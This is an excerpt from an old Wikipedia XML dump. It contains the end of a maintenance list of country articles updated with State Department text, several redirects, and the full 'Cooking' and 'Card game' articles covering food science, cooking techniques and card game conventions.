*[[Hong Kong]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
*[[Hungary]] -- bits added under History, Politics, Economy, Military, Foreign relations
*[[Iceland]] -- bits added under History, Geography, Demographics, Politics, Economy, Transportation, Military, Foreign relations
*[[India]] -- bits added under History, Demographics, Politics, Economy, Military, Foreign relations
*[[Indonesia]] -- bits added under History, Demographics, Politics, Economy (including part but not all of U.S.-Indonesian relations), Military, Foreign relations
*[[Iran]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
*[[Iraq]] -- bits added under History, Geography, Demographics, Politics, Economy, Military, Foreign relations
*[[Ireland]] -- bits added under History, Demographics, Politics, Economy
*[[Israel]] -- bits added under History, Demographics, Politics, Economy, Military, Foreign relations
*[[Italy]] -- bits added under History, Demographics, Politics, Economy, Military (including part of U.S.-Italian relations), Foreign relations
*[[Jamaica]] -- bits added under History, Politics, Economy, Foreign relations
*[[Japan]] -- bits added under History, Geography, Demographics, Politics, Economy, Foreign relations
*[[Jordan]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
*[[Kazakhstan]] -- bits added under Demographics, Politics, Economy, Foreign relations; bits on environmental concern added to the [[Kazakhstan]] article itself
*[[Kenya]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
*[[Kiribati]] -- bits added under History, Geography, Politics, Economy, Foreign relations
*[[Korea]] -- bits added to history from [http://www.state.gov/r/pa/ei/bgn/2792.htm the Dept of State's page on North Korea]
*[[Kuwait]] -- bits added under History, Demographics, Politics, Economy, Military, and Foreign relations
*[[Kyrgyzstan]] -- bits added under History, Politics, Economy, and Foreign relations
*[[Laos]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
*[[Latvia]] -- bits added under History, Geography, Demographics, Politics, Economy, Military, Foreign relations
*[[Lebanon]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
*[[Lesotho]] -- bits added under History, Politics, Economy, Military, Foreign relations
*[[Liberia]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
*[[Libya]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
*[[Liechtenstein]] -- bits added under History, Politics, Economy
*[[Lithuania]] -- bits added under History, Geography, Demographics, Politics, Economy, Military, Foreign relations
*[[Luxembourg]] -- bits added under History, Politics, Economy, Military, Foreign relations
*[[Macau]] -- not fully independent, but oh well.  bits added under Demographics, Politics, Economy; section on History added to the subject's main page
*[[Madagascar]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
*[[Malawi]] -- bits added under History, Geography, Demographics, Politics, Economy, Foreign relations
*[[Malaysia]] -- bits added under History, Demographics, Politics, Economy, Military, Foreign relations
*[[Maldives]] -- bits added under History, Demographics, Politics, Economy, and Foreign relations.
*[[Mali]] -- bits added under History, Demographics, Politics, Economy, Military, Foreign relations (the &quot;HISTORICAL AND CULTURAL HIGHLIGHTS&quot; section was split and added into the History, Demographics, and Economy pages as seemed appropriate)
*[[Malta]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
*[[Marshall Islands]] -- bits added under History, Geography, Demographics, Politics, Economy, Foreign relations
*[[Mauritania]] -- bits added under History and Politics
*[[Mauritius]] -- bits added under History, Politics, Economy, Military, Foreign relations
*[[Mexico]] -- bits added under History, Politics, Economy, Communications, Transportation, Military, Foreign relations.  quite a bit on U.S.-Mexican relations left out.
*[[Federated States of Micronesia|Micronesia]]  -- bits added under History, Geography, Demographics, Politics, Economy, Foreign relations
*[[Moldova]] -- bits added uner Geography, Politics, Economy, Military, Foreign relations
*[[Monaco]] -- bits added under History, Geography, Politics, Economy, Demographics, Foreign relations
*[[Mongolia (country)|Mongolia]] -- bits added under History, Politics, Economy, Demographics, Foreign relations
*[[Morocco]] -- bits added under History, Politics, Economy, Demographics, Foreign relations
*[[Mozambique]] -- bits added under History, Politics, Economy, Demographics, Foreign relations
*[[Namibia]] -- bits added under History, Politics, Economy, Demographics, Military, Foreign relations
*[[Nepal]] -- bits added under History, Politics, Economy, Demographics, Military, Foreign relations
*[[The Netherlands]] -- bits added under History, Politics, Economy, Foreign relations, Drugs policy page
*[[New Zealand]] -- bits added under History, Politics, , Demographics, Economy, Foreign relations; also added bits re: nuclear testing from ''U.S.-New Zealand relations'' page to the foreign relations here
*[[Nicaragua]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
*[[Niger]] -- bits added under History, Demographics, Politics, Economy, Military, Foreign relations
*[[Nigeria]] -- bits added under History, Demographics, Economy, Military, Foreign relations
*[[North Korea]] -- bits added under Demographics, Politics, Economy, Military, Foreign relations; quite a bit of info about U.S.-North Korean relations left unadded for lack of knowledge enough to render it NPOV
*[[Norway]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
*[[Oman]] -- bits added under History, Demographics, Economy, Politics, Foreign relations
*[[Pakistan]] -- bits added under History, Demographics, Economy, Politics, Military, Foreign relations
*[[Palau]] -- bits added under History, Geography, Demographics, Economy, Politics, Foreign relations
*[[Panama]] -- bits added under History, Demographics, Economy, Politics, Military, Foreign relations
*[[Papua New Guinea]] -- bits added under History, Demographics, Economy, Politics; some but not all of the &quot;Foreign relations&quot; section added (parts of it seem too U.S.-centric, and maybe I should have added less of it than I did.  I don't want to bias the 'pedia any more than it's biased already by being written predominately by people from the U.S.)
*[[Paraguay]] -- bits added under History, Demographics, Politics, Economy, Military, Foreign relations
*[[Peru]] -- bits added under History, Demographics, Politics, Economy, Foreign relations; part of the ''Demographics'' section broken off into the waiting (empty) page [[Culture of Peru]]
*[[Philippines]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
*[[Poland]] -- bits added under Politics, Demographics, Economy, Military, Foreign relations; bits under '''History''' left unadded; I see there's been a lot of controversy around this page.  [http://www.state.gov/r/pa/ei/bgn/2875.htm The U.S. Department of State has a writeup of Poland's history] available to anyone who cares to incorporate it.
*[[Portugal]] -- bits added under Economy, Foreign relations
*[[Qatar]] -- bits added under History, Politics, Demographics, Economy, Military, Foreign relations
*[[Romania]] -- bits added under History, Politics, Geography, Economy, Demographics, Foreign relations
*[[Russia]] -- bits added under Politics, Economy, Demographics, Military, Foreign relations; &quot;population aging&quot; and &quot;HIV/AIDS&quot; put under demographics rather than &quot;Economy of&quot; because to follow the Dept of State's example seemed inhumane; &quot;human rights&quot; section put under &quot;politics of&quot; (because tucking it under &quot;foreign relations seemed quite the slight towards Russian residents); many bits available at [http://www.state.gov/r/pa/ei/bgn/3183.htm the Dept of State site] were '''not''' added to the several articles on Russian history and so await a more knowledgeable wikipedian.
*[[Rwanda]] -- bits added under History, Geography, Demographics, Politics, Economy, Military, Foreign relations
*[[Samoa]] -- bits added under History, Geography, Demographics, Politics, Economy, Foreign relations
*[[San Marino]] -- bits added under History, Demographics, Politics, Economy, Foreign relations
*[[São Tomé and Príncipe]] -- bits added under History, Geography, Demographics, Politics, Economy, Foreign relations
*[[Saudi Arabia]] -- bits added under History, Demographics, Politics, Economy, Foreign relations (including bits from U.S./Saudi relations, put under the heading &quot;human rights&quot;)
*[[Senegal]] -- bits added under History, Geography, Demographics, Politics, Economy, Military, Foreign relations
*[[Seychelles]] -- bits added under History, Geography, Demographics, Politics, Economy, Foreign relations
*[[Singapore]] -- bits added under History, Demographics, Politics, Economy, Communications, Transportation, Military, Foreign relations
*[[Slovakia]] -- bits added under History, Demographics, Politics, Economy, Military, Foreign relations
*[[Slovenia]] -- bits added under History, Geography, Demographics, Politics, Economy, Military, Foreign relations

----

Copied and pasted (but did not wikify) the text for the remainder (21 Dec 2003):
*[[Solomon Islands]]
*[[Somalia]]
*[[South Africa]]
*[[South Korea]]
*[[Spain]]
*[[Saint Kitts and Nevis]]
*[[Saint Lucia]]
*[[Saint Vincent and the Grenadines]]
*[[Suriname]]
*[[Swaziland]]
*[[Sweden]]
*[[Switzerland]]
*[[Syria]]
*[[Taiwan]]
*[[Tajikistan]]
*[[Tanzania]]
*[[Thailand]]
*[[Togo]]
*[[Tonga]]
*[[Trinidad and Tobago]]
*[[Tunisia]]
*[[Turkey]]
*[[Turkmenistan]] -- bits added under History, Politics, Economy, Foreign relations
*[[Tuvalu]]
*[[Uganda]]
*[[Ukraine]]
*[[United Arab Emirates]]
*[[United Kingdom]]
*[[Uruguay]]
*[[Uzbekistan]]
*[[Vanuatu]]
*[[Venezuela]]
*[[Vietnam]]
*[[Yemen]]
*[[Yugoslavia]]
*[[Zambia]]
*[[Zimbabwe]]

:''See also :'' [[Countries of the world]]

[[Category:Wikipedia maintenance|{{PAGENAME}}]]</text>
    </revision>
  </page>
  <page>
    <title>Countries of the world2</title>
    <id>5354</id>
    <revision>
      <id>15903566</id>
      <timestamp>2004-09-20T22:20:37Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>Cooking</title>
    <id>5355</id>
    <revision>
      <id>42144077</id>
      <timestamp>2006-03-04T02:46:28Z</timestamp>
      <contributor>
        <username>CivilCasualty</username>
        <id>197316</id>
      </contributor>
      <comment>/* Food safety */</comment>
      <text xml:space="preserve">{{cuisine}}

'''Cooking''' is the act of preparing [[food]] for [[consumption]]. It encompasses a vast range of methods, tools and combinations of [[ingredient]]s to improve the [[flavor|flavour]] or [[digestion|digestibility of food]]. It generally requires the selection, measurement and combining of ingredients in an ordered procedure in an effort to achieve the desired result. Constraints on success include the variability of ingredients, ambient conditions, [[tool]]s and the skill of the individual cooking.

The diversity of cooking worldwide is a reflection of the myriad nutritional, aesthetic, agricultural, economic, cultural and religious considerations that impact upon it.

Cooking usually, though not always, involves applying heat in order to chemically transform a food, thus changing its flavor, texture, appearance, and nutritional properties. There is archaeological evidence of cooked foodstuffs, both animal and vegetable in human settlements dating from the earliest known use of [[fire]]. The earliest use of cooking was possibly done by ''[[Homo erectus]]'', although the evidence is in contention between [[Paleoanthropology|paleoanthropologists]].

== Effects of cooking ==

=== Food safety ===
If heat is used in the preparation of food, this can kill or inactivate potentially harmful organisms including [[bacterium|bacteria]] and [[virus]]es. The effect will depend on temperature, cooking time, and technique used. The temperature range from 4°C to 57°C (41°F to 135°F) is the &quot;food danger zone.&quot; Between these temperatures bacteria can grow rapidly. Under the correct conditions bacteria can double in number every twenty minutes. The food may not appear any different or spoiled but can be harmful to anyone who eats it. [[Meat]], [[poultry]], dairy products, and other prepared food must be kept outside of the &quot;food danger zone&quot; to remain safe to eat. [[Refrigeration]] and freezing do not kill bacteria, but only slow their growth.

=== Proteins ===

Much edible animal material is made of [[protein]]s, including [[muscle]], [[offal]], and [[egg white]]. Almost all vegetable matter also includes proteins although generally in smaller amounts. They may also be a source of [[essential amino acid]]s. When proteins are heated to near boiling point they become de-natured and change texture. In many cases this causes the structure of the material to become softer or more friable - meat becomes ''cooked''. In some cases proteins can  form more rigid structures such as the production of stable foams using egg whites. These are believed to be formed through the partial unravelling of the [[albumen]] protein molecules in response to beating with a whisk. The formation of a relatively rigid but flexible matrix from egg white provides an important component of much [[cake]] cookery and also underpins many desserts based on [[meringue]].

=== Fat ===
[[Fat]]s and [[cooking oil|oil]]s come from both animal and plant sources. In cooking, fats provide tastes and textures but probably the most significant attribute is the wide range of cooking temperatures that can be provided by using a fat as the principal cooking medium rather than water. Commonly used fats and oils include [[butter]], [[olive oil]], [[sunflower oil]], [[lard]], [[beef fat]] - both [[dripping]] or tallow, [[rapeseed]] oil or [[Canola]], and [[peanut]] oil. The inclusion of fats tend to make many dishes more tasty even though the taste of the oil on its own is often unpleasant. This fact has encouraged the popularity of high fat foods many of which are classified as ''junk'' food such as [[hamburger]]s or convenience fried cereal snacks.
Fats can also be blended with cereal flours to make a range of [[dough]]s and [[pastry|pastries]]. Roux made with heated fat and [[flour]] can also absorb large volumes of [[water]]-based liquids, including  [[milk]] and water itself to form smooth [[sauce]]s. This relies on the properties of [[starch]]es to create simpler mucilaginous [[saccharide]]s during cooking, which causes the familiar thickening of sauces.

Oils are commonly [[emulsification|emulsified]] with water[based fluids such as [[vinegar]] or [[lemon]] juice to make [[mayonaise]]s. In this the fatty content of egg yolk is used as the emulsification agent.

=== Carbohydrates ===
[[Carbohydrate]]s used in cooking include a variety of [[sugar]]s and [[starch]]es including cereal flour, [[rice]], [[arrowroot]], and [[potato]]. Long chain sugars such as starch tend to break down into more simple sugars when cooked or made more [[acid|acidic]], such as with [[lemon juice]] or vinegar. Simple sugars can form [[syrup]]s. If sugars are heated so that all water of [[crystalisation]] is driven off, then [[caramelisation]] starts with the sugar undergoing thermal decomposition with the formation of [[carbon]] and other breakdown products producing [[caramel]].

== Cooking techniques ==  &lt;!-- Please help keep lists alphabetized --&gt;
Some major hot cooking techniques:

* [[Baking]]
** [[Blind Baking|Baking Blind]]
** [[Broiling]]
** [[FlashBake]]

* [[Boiling]]
** [[Blanching]]
** [[Braising]]
** [[Coddling]]
** [[Double steaming]]
** [[Infusion]]
** [[Poaching (cooking)|Poaching]]
** [[Pressure cooking]]
** [[Simmering]]
** [[Steaming]]
** [[Vacuum flask cooking]]
** [[Steeping]]
** [[Stewing]]

* [[Frying]]
** [[Deep frying]]
** [[Hot salt frying]]
** [[Hot sand frying]]
** [[Pan frying]]
** [[Pressure frying]]
** [[Sautéing]]
** [[Stir frying]]

* [[Microwaving]]

* [[Roasting]]
** [[Barbecuing]]
** [[Grilling]]
** [[Rotisserie]]
** [[Searing]]

* [[Smoking (food)|Smoking]]

== Other (cool) preparation techniques ==   &lt;!-- Please help keep lists alphabetized --&gt;

* [[Brining]]
* [[Drying (food)|Drying]]
* [[Grinding]] (e.g. sesame seeds to produce [[tahini]]), chopping, slicing finely, grating, etc..
* [[Marinating]]
* [[Mincing]]
* [[Pickling]]
* [[Salting (food)|Salting]]
* [[Seasoning]]
* [[Sprouting]]
&lt;!--====Ingredients====  Please help keep lists alphabetized *[[Fecula]]--&gt;

== See also ==
{{Wikibooks|Cookbook}}
Specific techniques and ingredients are often regional. See [[Cuisine]] for information about the many regional and ethnic food traditions.  Please see [[food writing]] for some authors of books on cookery, food, and the history of food.
* [[Three Component Meal]]
* [[Cooking weights and measures]] (includes conversions and equivalencies common in cooking)
* [[International food terms]] - useful when reading about food and recipes from different countries
* [[Food and cooking hygiene]]
* [[Food preservation]]
* [[Food writing]]
* '''[[List of cookbooks]]''' The standard book for basic cooking, &quot;learn how to cook&quot;, etc.
* [[List of food preparation utensils]] including [[Cooking pan|saucepans]], frying pans, [[wok]]s and many others.
* [[Cuisine]]
* [[Recipe]]
* [[Nutrition]]

For recipes, see the [[list of recipes]] and the [[list of cocktails]].  Also see [[staple (cooking)]].

== External links ==
*[http://ahappyhousewife.blogspot.com/ The Happy Housewife]
*[http://thehappyhousewifesrecipes.blogspot.com/ The Happy Housewife's Recipes]
*[http://ridaas.org/food-search Food Search Engine.] Search recipes and cooking books
*[http://www.dontcookalone.com/ Don't Cook Alone - Find a cooking partner, exchange recipes] Don't Cook Alone
*[http://www.theworldrecipes.com/ Recipes from around the world.]
*[http://www.reluctantgourmet.com/ Cooking Guide for Home Cooks.]
*[http://punjabirecipes.gurudwara.net Authentic Punjabi Recipes]
*[http://www.studentrecipes.com/ Quick and easy recipes for the lazy student]
*[http://www.healthy-quick-meals.com/ Quick healthy recipes]
*[http://www.healthdiaries.com/eatthis/ Healthy Recipes]
*[http://www.spanishliquidgold.com/search.php?q=cooking+classes Cooking classes]
*[http://www.momslilgreentin.com Family Recipes]
*[http://www.gti.net/mocolib1/kid/food1.html Culinary history timeline]
*[http://www.elook.org/recipes/ Recipes]
*[http://www.foodgeeks.com/recipes/ Foodgeeks.com Recipes]
*[http://www.visualrecipes.com Visual Recipes]
*[http://www.foodnboozelog.com/ Food and booze] Food cooking recipes and methods
*[http://www.mediterrasian.com/delicious_recipes.htm Mediterranean and Asian recipes]
*[http://www.pygmies.info/food.html African Pygmies cooking] Food preparation in the rain forest
*[http://www.ratemycookingkungfu.com/ Photos of home cooking]
*[http://www.realcajunrecipes.com/ RealCajunRecipes.com - includes Photo Album of Cajun Cooking]
*[http://www.turkishcookbook.com Binnur's Turkish Cookbook] Delicious, healthy and easy-to-make Turkish recipes.
*[http://www.goosto.com Goosto.com] Recipes Search Engine.
*[http://www.yummycrockpotrecipes.com YummyCrockPotRecipes.com Recipes]
*[http://www.foodtv.com FoodTV.com: Extensive Online Recipe Collection from the Food Network]
*[http://www.findmearecipe.com Find Me a Recipe] Searchable database of over 100,000 recipes.
*[http://gourmetfood.about.com  Gourmet Cooking, Recipes, &amp; Techniques]
*[http://www.culinarychef.com CulinaryChef.com] An award-winning culinary source for the family, professional cooks, culinary chefs, and for those who enjoy fine eating since 1999.
*[http://www.stayfitalways.com/cookingtips.php Techniques of Cooking] Cooking Tips for a Healthy Diet.
*[http://www.chefstoqueculinaire.net Chefs Toque Culinaire] Culinary Resource Online.

[[Category:Cooking| ]]
[[Category:Hobbies]]
[[Category:Survival skills]]

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    <title>Cancer Coast</title>
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      <timestamp>2004-09-26T23:46:19Z</timestamp>
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        <username>SimonP</username>
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      <comment>#REDIRECT [[Cancer cluster]] per vfd</comment>
      <text xml:space="preserve">#REDIRECT [[Cancer cluster]]</text>
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    <title>Collectable card game</title>
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      <text xml:space="preserve">#REDIRECT [[Collectible card game]]</text>
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    <title>Card game</title>
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      <timestamp>2006-03-03T14:04:37Z</timestamp>
      <contributor>
        <username>Atlant</username>
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      <comment>Revert vandal</comment>
      <text xml:space="preserve">:''This article is about games played with cards.  For the pricing game, please see [[Card Game (The Price is Right pricing game)]].''

[[Image:Klondike (solitare).png|thumb|300px|right|The Klondike Solitaire game that comes with [[wikibooks:Using GNOME | Gnome]].]] 

A '''card game''' is any [[game]] using [[playing card]]s, either traditional or game-specific.

&lt;!--This article will describe the general mechanics of card games: that is, those rules which are so widely known that they are often omitted in rules of card games, because the author assumes that &quot;everyone&quot; knows them.

The statements given here are general ones. There are countless exceptions to them. Indeed, it would be possible to suffix almost every statement in this section with the words &quot;an exception is provided by the game of such-and-such&quot;. They should therefore not be taken as rules; rather they should be used as default rules if you are trying to play a game from an incomplete set of rules which omits the general mechanics.--&gt;

== Seating of players ==
When a card game is played, the players arrange themselves in a circle around a horizontal surface on which the cards will be played. This surface is usually a table, although any flat surface can be used. The players face inwards, and are approximately evenly spaced (so that they cannot see each other's hand of cards). 

== The pack or deck ==
A card game is played with a pack of cards intended for that game. The pack consists of a fixed number of pieces of printed cardboard known as ''cards''. The cards in a pack are identical in size and shape. Each card has two sides, the ''face'' and the ''back''. The backs of the cards in a pack are indistinguishable. The faces of the cards in a pack may all be unique, or may include duplicates, depending on the game. In either case, any card is readily identifiable by its face. 

The set of cards that make up the pack will be known to all of the players using that pack. 

''Pack'' is British English; ''deck'' is U.S. English. They mean the same thing.

Although many games have special packs of cards, a certain pack is known as the standard deck, and is used in a wide variety of games. It consists of 52 cards, each card having a [[suit (cards)|suit]] (one of spades, hearts, diamonds and clubs) and a rank (a number between 2 and 10, or one of jack, queen, king and ace). For any combination of one suit and one rank, there is exactly one card in the standard deck having that suit and rank. In addition to games that use the standard deck, there are also games that use some modification of the standard deck, for example excluding all cards of rank lower than some rank, or adding a special card, joker, to the standard deck.

Many European regions have their own variants of the standard deck having different names and imagery for suits, or having a different set of ranks in the cards. 

There are also some card games that require multiple standard decks. In this scenario, a &quot;deck&quot; refers to a set of 52 cards or a single deck, while a &quot;pack&quot; refers to the collection of &quot;decks&quot; as a whole.

== The deal ==
Dealing is done either clockwise or counterclockwise. If this is omitted from the rules, then it should be assumed to be: 
* clockwise for games from North America, North and West Europe and Russia; 
* counterclockwise for South and East Europe and Asia, also for Swiss games and all [[Tarot (game)|Tarot games]].

A player is chosen to deal. That person takes all of the cards in the pack, stacks them together so that they are all the same way up and the same way round, and [[shuffle]]s them. There are various techniques of shuffling, all intended to put the cards into a random order. During the shuffle, dealer holds the cards so that he or she and the other players cannot see any of their faces. 

[[Shuffle|Shuffling]] should continue until the chance of a card remaining next to the one that was originally next to is small. In practice, many dealers do not shuffle for long enough to achieve this. 

After the shuffle, the dealer offers the deck to another player to ''[[cut (playing cards)|cut the deck]]''. If the deal is clockwise, this is the player on her right; if counter-clockwise, it is the player on her left. The invitation to cut is made by placing the pack, face downward, on the table near the player who is to cut: who then lifts the upper portion of the pack clear of the lower portion and places it alongside. The formerly lower portion is then replaced on top of the formerly upper portion.

The dealer then ''deals'' the cards. This is done by dealer holding the pack, face-down, in one hand, and removing cards from the top of it with her other hand to distribute to the players, placing them face-down on the table in front of the players to whom they are dealt. The rules of the game will specify the details of the deal. It normally starts with the players next to the dealer in the direction of play (left in a clockwise game; right in an anticlockwise one), and continues in the same direction around the table. The cards may be dealt one at a time, or in groups. Unless the rules specify otherwise, assume that the cards are dealt one at a time. Unless the rules specify otherwise, assume that all the cards are dealt out; but in many games, some remain undealt, and are left face down in the middle of the table, forming the talon, skat, or stock. The player who received the first card from the deal may be known as eldest hand, or as forehand. 

The set of cards dealt to a player is known as his or her ''hand''. 

Throughout the shuffle, cut, and deal, the dealer should arrange that the players are unable to see the faces of any of the cards. The players should not try to see any of the faces. Should a card accidentally become exposed (visible to all), then normally any player can demand a redeal - that is, all the cards are gathered up, and the shuffle, cut and deal are repeated. Should a player accidentally see a card (other than one dealt to herself) she should admit this. 

It is dishonest to try to see cards as they are dealt, or to take advantage of having seen a card accidentally. 

When the deal is complete, all players pick up their cards and hold them in such a way that the faces can be seen by the holder of the cards but not the other players. It is helpful to fan one's cards out so that (if they have corner indices) all their values can be seen at once. In most games it is also useful to sort one's hand, rearranging the cards in a way appropriate to the game. For example in a [[trick taking game]] it is easier to have all one's cards of the same suit together, whereas in a [[rummy]] game one might sort them by rank or by potential combinations.

== The rules ==
A new card game starts in a small way, either as someone's invention, or as a modification of an existing game. Those playing it may agree to change the rules as they wish. The rules that they agree on become the &quot;house rules&quot; under which they play the game. A set of house rules may be accepted as valid by a group of players wherever they play. It may also be accepted as governing all play within a particular house, café, or club. 

When a game becomes sufficiently popular, so that people often play it with strangers, there is a need for a generally accepted set of rules. This is often met by a particular set of house rules becoming generally recognised. For example, when [[whist]] became popular in 18th-century [[England]], players in the [[Portland Club]] agreed on a set of house rules for use on its premises. Players in some other clubs then agreed to follow the &quot;Portland Club&quot; rules, rather than go to the trouble of codifying and printing their own sets of rules. The Portland Club rules eventually became generally accepted throughout England. 

There is nothing &quot;official&quot; about this process. If you decide to play [[whist]] seriously, it would be sensible to learn the Portland Club rules, so that you can play with other people who already know these rules. But if you only play whist with your family, you are likely to ignore these rules, and just use what rules you choose. And if you play whist seriously with a group of friends, you are still perfectly free to devise your own set of rules, should you want to. 

It is sometimes said that the &quot;official&quot; or &quot;correct&quot; sets of rules governing a card game are those &quot;in Hoyle&quot;. [[Edmond Hoyle]] was an 18th-century Englishman who published a number of books about card games. His books were popular, especially his treatise on how to become a good whist player. After (and even before) his death, many publishers have taken advantage of his popularity by placing his name on their books of rules. The presence of his name on a rule book has no significance at all. The rules given in the book may be no more than the opinion of the author. 

If there is a sense in which a card game can have an &quot;official&quot; set of rules, it is when that card game has an &quot;official&quot; governing body. For example, the rules of tournament [[contract bridge|bridge]] are governed by the World Bridge Federation, and by local bodies in various countries such as the ACBL in the USA, and the EBU in England. The rules of [[skat]] in [[Germany]] are governed by the Deutsche Skatverband which publishes the ''Skatordnung''. The rules of French tarot are governed by the Fédération Française de Tarot. But there is no compulsion to follow the rules put out by these organisations. If you and your friends decide to play a game by a set of rules unknown to the game's official body, you are doing nothing illegal. 

Many widely-played card games have no official regulating body. An example is [[Canasta]]. 

=== Rule infractions ===
An infraction is any action which is against the rules of the game, such as playing a card when it is not one's turn to play and the accidental exposure of a card.

In many official sets of rules for card games, the rules specifying the penalties for various infractions occupy more pages than the rules specifying how to play correctly. This is tedious, but necessary for games that are played seriously. Players who intend to play a card game at a high level generally ensure before beginning that all agree on the penalties to be used. When playing privately, this will normally be a question of agreeing house rules. In a tournament there will probably be a tournament director who will enforce the rules when required and arbitrate in cases of doubt. 

If a player breaks the rules of a game deliberately, this is cheating. Most card players would refuse to play cards with a known cheat. The rest of this section is therefore about accidental infractions, caused by ignorance, clumsiness, inattention, etc. 

As the same game is played repeatedly among a group of players, precedents build up about how a particular infraction of the rules should be handled. E.G. &quot;Sheila just led a card when it wasn't her turn. Last week when Jo did that, we agreed ... etc.&quot;. Sets of such precedents tend to become established among groups of players, and to be regarded as part of the house rules. Sets of house rules become formalised, as described in the previous section. Therefore, for some games, there is a &quot;proper&quot; way of handling infractions of the rules. But for many games, without governing bodies, there is no standard way of handling infractions. 

In many circumstances, there is no need for special rules dealing with what happens after an infraction. As a general principle, the person who broke a rule should not benefit by it, and the other players should not lose by it. An exception to this may be made in games with fixed partnerships, in which it may be felt that the partner(s) of the person who broke a rule should also not benefit. The penalty for an accidental infraction should be as mild as reasonable, consistent with there being no possible benefit to the person responsible.

==Types of card games==

===Trick-taking games=== 
''See also [[trick-taking game]]s''
* [[500 (card game)|500]]
* [[Cassino (game)|Cassino]]
* [[Contract bridge|Bridge]]
* [[Écarté]]
* [[Euchre]]
* [[Hearts (game)|Hearts]]
* [[Pinochle]]
* [[Piquet]]
* [[ROOK]]
* [[Spades]]
* [[Sixty-three_card_game|Sixty-three]]
* [[Sueca (game)]]
* [[Whist]]
* [[Wizard card game|Wizard]]
* [[Pairs(u/c)]]
* [[list of trick-taking games]]

===Rummy-style games=== 
* [[500 Rum]]
* [[Canasta]]
* [[Concentration (game)|Concentration]]
* [[Durak]]
* [[Five Crowns]]
* [[Gin rummy]]
* [[Go Fish]]
* [[Haihowak]]
* [[Happy Families]]
* [[Jolly]]
* [[Kemps]]
* [[Phase 10]]
* [[Robbers' rummy]]
* [[Seven Bridge]]
* [[Shanghai rum]]
* [[Spoons/donkey]]
* [[Tonk (game)|Tonk]]
* [[Tri (game)|Tri]]
* [[Wyatt Earp (card game)|Wyatt Earp]]
*[[Steal the old man's pack]]
* [[Cooncan]]

===Casino or gambling card games===
''See also [[casino]] or [[gambling]]''
* [[Baccarat]]
* [[Bingo (card game)|Bingo]]
* [[Blackjack]]
* [[Blind Hookey]]
* [[Bourré]]
* [[Cribbage]]
* [[Poker]]
* [[Primero]]
* [[Red dog (card game)|Red dog]]
* [[Texas hold 'em]]
* [[Texas Hold'em Bonus Poker]]
* [[Thirty-one (game)|Thirty-one]]
* [[Three card brag]]

===Solitaire (or ''Patience'') games===
''See also [[Solitaire]]''
* [[Ace of the Pile]]
* [[Baker's Dozen (solitaire)]]
* [[Calculation (solitaire)|Calculation]]
* [[Concentration (game)|Concentration]] 
* [[FreeCell]]
* [[Kings in the Corner]] (multi-player)
* [[Klondike solitaire|Klondike]]
* [[Russian Bank]]
* [[Solitaire Showdown]]

===Shedding games===
* [[Bartok (game)|Bartok]] / [[Bartok (game)|Bartog]]
* [[Big Two]]
*[[Bullshit (game)|Bullshit]]
* [[California Speed]]
* [[Chase the Ace]]/[[Old Maid]]
* [[Craits]]
* [[Crazy Eights]]
* [[Eleusis (game)|Eleusis]]
* [[Mao (game)|Mao]]
* [[President (game)|President]]
* [[Shichi Narabe]]
* [[Shithead (card game)|Shithead]]
* [[Spit (card game)|Spit]] / [[Spit (card game)|Speed]]
* [[Spite and Malice]]
* [[Tien len]]
* [[UNO (game)|UNO]]

===Accumulating games===
* [[Beggar-My-Neighbour]]
* [[Egyptian Ratscrew]]
* [[Seven Spades]]
* [[Slapjack]]
* [[Snap (game)|Snap]]
* [[Top Trumps]]
* [[War (card game)|War]]
* [[Screw Your Neighbor]]

===Miscellaneous playing card games===
* [[Sevens (card game)|Sevens]]

===Multi-genre games===
* [[Eleusis (game)|Eleusis]]
* [[Poke (game)|Poke]]
* [[Skitgubbe]]
* [[Tichu|Tichu]]
* [[Tripoli(game)|Tripoli]]

=== Collectible card games (CCG's) ===
''see also [[collectible card game]]''
* [[List of collectible card games]]
* [[Duelmasters]]
* [[Magic: The Gathering]]
* [[Pokémon Trading Card Game|Pokémon]]
* [[Yu-Gi-Oh! Trading Card Game]]
* [[Harry Potter Trading Card Game]]

===Other card games===
* [[1000 Blank White Cards]]
* [[Blitz (game)|Blitz]]
* [[Bohnanza]]
* [[Chez Geek]]
* [[Chrononauts]]
* [[Flinch]]
* [[Fluxx]]
* [[GOLF (card game)|GOLF]]
* [[Gother Than Thou]]
* [[Grass card game|Grass]]
* [[Hanafuda]]
* [[Illuminati (game)|Illuminati]]
* [[Karuta]]
* [[Lucky Seven]]
* [[Mille Bournes]]
* [[Munchkin (card game)|Munchkin]]
* [[Mus (card game)|Mus]]
* [[Numero (card game)|Numero]]
* [[Pens (Game)|Pens]]
* [[Pit (game)|Pit]]
* [[Pits (game)|Pits]]
* [[San Juan]]
* [[Scopa]]
* [[Scopone]]
* [[Set (game)|Set]]
* [[Sheepshead]]
* [[LeCardo]]

===Fictional card games===
* [[Cripple Mr Onion]] - from the ''[[Discworld]]'' book series
* [[Diamondback (game)|Diamondback]] - from the [[Cerebus the Aardvark|Cerebus]] comics
* [[Double Fanucci]] - from the [[Zork]] series
* [[Dragon Poker]] - from the [[MythAdventures]] novels
* [[Fizzbin]] - from the original [[Star Trek]]
* Pazzak - from the [[KOTOR|Knights of the Old Republic]] video game
* [[Pyramid (game)|Pyramid]] - from the [[Battlestar Galactica]] series
* [[Sabacc]] - from the [[Star Wars]] universe
* [[Tall Card]] - from the [[Firefly (TV series)|Firefly]] television series

===Pranks===
*[[52_pickup]]


==See also==
* [[Edmond Hoyle]]
* [[Playing card]]
* [[John Scarne]]
* [[Q2J]]

==External links==
*[http://www.pagat.com/ Card Games] - contains detailed rules for a lot of card games, has an alphabetic and classified index of card games
*[http://www.thehouseofcards.com/ The House of Cards] - comprehensive directory of traditional and commercial card games
